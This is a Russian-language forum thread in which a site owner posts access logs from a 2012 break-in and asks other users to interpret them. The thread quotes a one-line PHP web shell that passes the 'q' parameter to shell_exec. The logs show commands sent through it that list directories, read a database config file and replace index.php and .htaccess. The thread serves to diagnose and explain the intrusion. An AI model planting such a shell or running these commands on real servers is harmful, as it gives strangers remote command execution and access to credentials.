Взломали. Расшифровка логов

@Питер · Регистрация: 17.05.2012

Студворк — интернет-сервис помощи студентам

Пожалуйста, кто знает что означают логи.

Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
81.30.162.38 - - [12/Jan/2012:10:46:21 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?file=default.css&version=3.3.3 HTTP/1.0" 200 2994 "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:46:21 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?file=functions.js&version=3.3.3 HTTP/1.0" 200 19391 "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:46:22 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?file=favicon.ico&version=3.3.3 HTTP/1.0" 200 318 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
 
81.30.162.38 - - [12/Jan/2012:10:47:44 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=la%20-la%20../../../../../ HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:47:46 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=ls%20-la%20../../../../../ HTTP/1.0" 200 1360 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:47:54 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=ls%20-la%20../../../../../../config HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:47:57 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=ls%20-la%20../../../../../.. HTTP/1.0" 200 1033 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:48:10 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=cat%20../../../../../../configs/database.xml HTTP/1.0" 200 632 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:48:25 +0200] "POST /uploads/icons/.svn/tmp/text-base/svn.php HTTP/1.0" 302 - "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:48:25 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua HTTP/1.0" 200 6070 "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:49:33 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09 HTTP/1.0" 200 111694 "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:49:33 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09&script=db HTTP/1.0" 200 22377 "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:49:35 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?file=loader.gif&version=3.3.3 HTTP/1.0" 200 673 "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:49:35 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09&table=cms_components HTTP/1.0" 200 1992 "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:49:36 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09&select=cms_components HTTP/1.0" 200 23521 "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09&table=cms_components" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:49:43 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09&edit=cms_components&where%5Bid%5D=26 HTTP/1.0" 200 2629 "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09&select=cms_components" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:49:46 +0200] "POST /uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09&edit=cms_components&where%5Bid%5D=26 HTTP/1.0" 200 - "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09&edit=cms_components&where%5Bid%5D=26" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:49:47 +0200] "GET /uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09&select=cms_components HTTP/1.0" 200 24088 "http://09.vn.ua/uploads/icons/.svn/tmp/text-base/svn.php?server=localhost&username=09vnua&db=09&edit=cms_components&where%5Bid%5D=26" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
 
81.30.162.38 - - [12/Jan/2012:10:50:35 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
 
81.30.162.38 - - [12/Jan/2012:10:52:00 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=touch%20../../../../../index.html HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:52:34 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=mv%20../../../../../.htaccess%20htaccess.txt HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:52:36 +0200] "GET / HTTP/1.0" 200 893 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:52:45 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=ls%20-la%20../../../../../ HTTP/1.0" 200 1361 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:53:17 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=mv%20../../../../../index.php%20../../../../../index_prod.php HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:53:23 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=mv%20../../../../../index.html%20../../../../../index.php HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:53:24 +0200] "GET / HTTP/1.0" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
81.30.162.38 - - [12/Jan/2012:10:53:46 +0200] "GET /uploads/icons/.svn/tmp/text-base/ip.php?q=ls%20-la%20../../../../../ HTTP/1.0" 200 1365 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"

Vovan-VE · 20.05.2012, 20:40

Сообщение от Питер

есть ли основания для претензии?

Претензии к разработчику за разработку бекдора.

@Питер · 20.05.2012, 20:57 **[ТС]**

А воспользовался он им как бы в шутку?

Потом еще 30 раз подряд пошутил...

Как туда эта разработка попала - время создания файла не совпадает с запуском - позже он залит - может при участии провайдера? Дал доступ он или хилая защита моего 16-ти значного пароля...

Напишите по русски - ломали или нет, что делали - логи ж есть! Шо за шелл такой.

@Unick · 20.05.2012, 21:08

Сообщение от Питер

А воспользовался он им как бы в шутку?

ага в шутку

очень кстати смешная

Сообщение от Питер

Потом еще 30 раз подряд пошутил...

Петросян

Сообщение от Питер

Как туда эта разработка попала - время создания файла не совпадает с запуском - позже он залит - может при участии провайдера? Дал доступ он или хилая защита моего 16-ти значного пароля...

провайдер не причем
возможно хилая защита твоего сайта, а не пароля

Сообщение от Питер

Напишите по русски - ломали или нет, что делали - логи ж есть! Шо за шелл такой.

с той информацией которую ты нам дал, мы не можем ответить четко на вопрос, а догадки... есть догадки, их много таки
тем более логи связаны с работой файла, а как он туда попал нету
я лишь могу сделать вывод, что твой сайт работает с файлами, либо я тебе уже говорил где сменить пароли!

Добавлено через 2 минуты
не ужели так сложно не игнорировать сообщения?

мб мы по делу всетаки пишем

Vovan-VE · 21.05.2012, 18:29

Сообщение от Питер

время создания файла не совпадает с запуском - позже он залит

Думаю, время можно подделать.

Сообщение от Питер

Напишите по русски - ломали или нет, что делали - логи ж есть! Шо за шелл такой.

Представьте, что один суровый хирург, когда делал очередному пациенту пересадку мозга, внедрил в мозг модуль управления разумом. Его нельзя было внедрить случайно. Сам факт внедрения - это уже злодеЯние. А потом он еще воспользовался этим модулем и, управляя действиями пациента, начал ядерную войну. Взлом это или нет? Что здесь взлом? Чёрт его знает, но важно лишь то, что случайно всего этого произойти не могло совершенно точно.

@Питер · 21.05.2012, 19:51 **[ТС]**

Как в том анекдоте - жена и любовник разделись и занавесили занавески... А шо они там делают?

Перед тем как дать предъяву надо бы квалифицированно все обрисовать - по пунктикам. Дело деликатное... А то окажется, что это безобидный файлик, стремный но не критичный - там делалось с ним что то вполне нормальное...

Напомню код-

<?php
echo shell_exec($_GET['q']);

Что оно за шелл и как вяжется с обращением к этому файлу.

В логах - Команда ls выводит список всех файлов каталога - нашел в нете.
Команда mv - ... ip.php?q=mv%20../../../../../.htaccess%20htaccess.txt

Толи переименовывание, толь перемещение. Ну и что такого особенного то?

Vovan-VE · 21.05.2012, 20:05

Сообщение от Питер

Ну и что такого особенного то?

Т.е. Вас не удивляет тот факт, что абсолютно любой сторонний юзер из любой точки интернета может обратиться к этому скрипту и попытаться выполнить обсолютно любую команду/программу на сервере (на сколько хватит привилегий у апача), в том числе создать любой файл в любой доступной для записи директории:?

Bash
1
echo 'тело'>file.ext

Добавлено через 1 минуту
Красная ковровая дорожка + "wellcome" в открытое деньгохранилище.

Новые блоги и статьи Все статьи Все блоги /
Baragoz - DPS/HPS бот для WoW 3.3.5a, многоязычный AmbA 26.10.2026 Хотите ещё ботов? У меня есть один! А я пока отдохну от него. https:/ / www. cyberforum. ru/ blog_attachment. php?attachmentid=12062&stc=1&d=1793007952 Инструкция внутри. Сразу отвечу: А в PvP с ним. . .	Особенности gif сгенерированных в Си russiannick 21.10.2026 Рассмотрим генерацию gif файлов, которые в Си имеют свои особенности. Gif представляет собой графический формат популярный в интернете. Посмотрим на палитру. Gif файл сгенерированный в си отличается. . .	FPS контроллер с анимированными Y-Bot и 3D-звуком miniaudio (Box3D, Recast, BehaviorTree.CPP, ozz-animation, ImGui, OpenGL и SDL3) 8Observer8 18.10.2026 Содержание блога \| English Version Полное мультиплатформенное руководство по стартовому проекту с FPS-контроллером игрока, анимированными роботами Y-Bot с 4-слойным блендингом, 3D-физикой Box3D,. . .	Локальный http сервер Argus19 17.10.2026 Локальный http сервер На работе, на двух локальных компьютерах круглосуточно работают программы опроса приборов с записью в книги Excel,которые раз в сутки записываются на сервер компании. Т. к. . . .
Копировать Windows на новый диск на UEFI damix 17.10.2026 https:/ / uriesk. wordpress. com/ 2016/ 11/ 01/ move-window-10-to-ssd-on-a-uefi-dualboot-system-with-basic-linux-tools/ TL DR Вставляем диск, а старый подключаем через переходник, грузимся с лайва. . .	ИИ не может найти нужный язык в списке Supersumestria 05.10.2026 Я ему даю вот такое изображение и прошу найти и подчеркнуть немецкий язык. Возвращает он вот это: https:/ / i. **********/ vqBWLe2. png Нужную строчку в 3й колонке просто выдумал. . Это. . .	Новая последняя моя музыка в SUNO zorxor 05.10.2026 Здравствуйте, дорогие мои друзья! С большой радостью я хотел бы представить вам свою новую последнею музыку, которую сгенерировала мне по моей просьбе нейросеть SUNO. С уважением, zorxor. Это. . .	Программный домашний кинотеатр russiannick 27.09.2026 Сподобился на программный домашний кинотеатр. В качестве ЯВУ по традиции выбрал js. В помощники взял Яндекс-Алису. Было создано три зала на разные интересы. исторические и ретро сериал Хичкок. . .

@Питер 0 / 0 / 0 Регистрация: 17.05.2012 Сообщений: 12
	20.05.2012, 20:57 [ТС]
	А воспользовался он им как бы в шутку? Потом еще 30 раз подряд пошутил... Как туда эта разработка попала - время создания файла не совпадает с запуском - позже он залит - может при участии провайдера? Дал доступ он или хилая защита моего 16-ти значного пароля... Напишите по русски - ломали или нет, что делали - логи ж есть! Шо за шелл такой. 0

@Питер 0 / 0 / 0 Регистрация: 17.05.2012 Сообщений: 12
	21.05.2012, 19:51 [ТС]
	Как в том анекдоте - жена и любовник разделись и занавесили занавески... А шо они там делают? Перед тем как дать предъяву надо бы квалифицированно все обрисовать - по пунктикам. Дело деликатное... А то окажется, что это безобидный файлик, стремный но не критичный - там делалось с ним что то вполне нормальное... Напомню код- <?php echo shell_exec($_GET['q']); Что оно за шелл и как вяжется с обращением к этому файлу. В логах - Команда ls выводит список всех файлов каталога - нашел в нете. Команда mv - ... ip.php?q=mv%20../../../../../.htaccess%20htaccess.txt Толи переименовывание, толь перемещение. Ну и что такого особенного то? 0